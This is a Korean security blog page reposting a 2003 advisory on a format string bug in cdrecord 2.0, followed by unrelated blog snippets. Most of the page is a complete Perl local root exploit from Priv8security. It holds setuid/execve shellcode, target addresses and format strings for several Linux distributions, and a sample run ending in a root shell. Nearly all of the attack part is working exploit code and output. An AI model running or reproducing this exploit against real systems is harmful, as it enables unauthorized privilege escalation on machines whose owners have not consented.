발표날짜 :
2003.05.15
공격유형 :
로컬
위험도 :
상
문제점 :
cdrtools2.0 에서 포맷스트링 버그와 libscg/scsiopen.c 273번째 줄에서 버그가 발견되어 주의를 요하고 있다.
공격법 / 공격용 소스코드 :
#!/usr/bin/perl
###########################################################
#Priv8security.com Cdrecord version 2.0 and < local root exploit.
#
# Version 1.10 is NOT VULN!!!!
#
#
[wsxz@localhost buffer]$ perl priv8cdr.pl 4
# Using target number 4
# Using Mr .dtors 0x808c82c
# Cdrecord 2.0
(i586-mandrake-linux-gnu) Copyright (C) 1995-2002 Jorg Schilling
#
scsidev: '1A1U?1UO?Ie^1AFF
# ?
# oV
#
I1UO@IeUyyy/bin/sh%.134802669x%x%x%x%x%x%x%x%x%n:'
# devname:
'1A1U?1UO?Ie^1AFF
# ?
# oV
#
I1UO@IeUyyy/bin/sh%.134802669x%x%x%x%x%x%x%x%x%n'
# scsibus: -1 target:
-1 lun: -1
# Warning: Open by 'devname' is unintentional and not
supported.
# /usr/bin/cdrecord: No such file or directory. Cannot open
'. Cannot open SCSI driver.
# /usr/bin/cdrecord: For possible targets
try 'cdrecord -scanbus'. Make sure you are root.
# /usr/bin/cdrecord:
For possible transport specifiers try 'cdrecord dev=help'.
# sh-2.05b#
id
# uid=0(root) gid=0(root) groups=503(wsxz)
# sh-2.05b#
#####################################################
$shellcode =
"\x31\xc0\x31\xdb\xb0\x17\xcd\x80".#setuid
0
"\x31\xdb\x89\xd8\xb0\x2e\xcd\x80".#setgid 0
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89".
"\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c".
"\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff".
"\xff\xff/bin/sh";
$cdrecordpath = "/usr/bin/cdrecord";
$nop = "\x90"; # x86 NOP
$offset = 0; # Default offset to try.
if (@ARGV == 1 || @ARGV == 2) {
$target =
$ARGV[0];
$offset = $ARGV[1];
}else{
printf("
Priv8security.com Cdrecord local root exploit!!\n");
printf(" usage: $0
target\n");
printf(" List of targets:\n");
printf(" 1 - Linux
Mandrake 8.2 Cdrecord 1.11a15\n");
printf(" 2 - Linux Mandrake 9.0
Cdrecord 1.11a32\n");
printf(" 3 - Linux Slackware 8.1 Cdrecord 1.11a24
not suid by default!!!\n");
printf(" 4 - Linux Mandrake 9.1 Cdrecord
2.0\n");
exit(1);
}
if ( $target eq "1" ) {
$retword = 0x0807af38; #Mr .dtors ;)
$fmtstring =
"%.134727238x%x%x%x%x%x%x%x%x%n:";
}
if ( $target eq "2" ) {
# $retword = 0x08084578; #.dtors
$retword = 0x08084684; #.GOT
exit
$fmtstring = "%.134769064x%x%x%x%x%x%x%x%x%n:";
}
if ( $target eq "3" ) {
$retword = 0x0807f658;
$fmtstring = "%.134745456x%x%x%x%x%x%x%x%x%x%x%n:";
}
if
( $target eq "4" ) {
$retword = 0x0808c82c; #.GOT exit
$fmtstring = "%.134802669x%x%x%x%x%x%x%x%x%n:";
}
printf("Using target number %d\n", $target);
printf("Using Mr .dtors 0x%x\n",$retword);
$new_retword
= pack('l', ($retword));
$new_retshell = pack('l', ($retshell));
$buffer2 = $new_retword;
$buffer2 .= $nop x 150;
$buffer2 .= $shellcode;
$buffer2 .= $fmtstring;
exec("$cdrecordpath dev='$buffer2' '$cdrecordpath'");
출처: http://www.hackersnews.org
실용적인 디지털 포렌식 기법과 법률 이슈 정리. Linux, UNIX, Python, 임베디드 장치 개발 등의 강좌 수록. Blockchain, FinTech, IoT 등 최신 IT 트렌드와 관련된 취미 자료를 수집하고, 보안 인식 문화 개선을 위한 정보보호 관련 자료와 일상생활 팁들을 소개.
홈페이지 jQuery 라이브러리에서 CVE-2019-11358 취약점 패치 여부 확인 방법
현재 홈페이지에서 사용 중인 jQuery 라이브러리가 CVE-2019-11358 취약점 패치를 적용했는지 확인하는 방법은 다음과 같습니다. 1. jQuery 버전 확인 홈페이지 소스 코드를 확인하여 jQuery 라이브러리 버전을 직접 확인합니다. 웹 ...
-
뉴스출처 : http://news.naver.com/main/read.nhn?mode=LSD&mid=sec&oid=023&aid=0002991158&sid1=001 내 배우자가 바람을 피우는 것이 확실할까. 심증...
-
PHPSCHOOL ( http://www.phpschool.com ) 국내 1위의 PHP 개발자 커뮤니티 사이트이다. PHP Builder ( http://www.phpbuilder.com ) PHP 최고 사이트라고 해도 과언이 아니며, 새로운 P...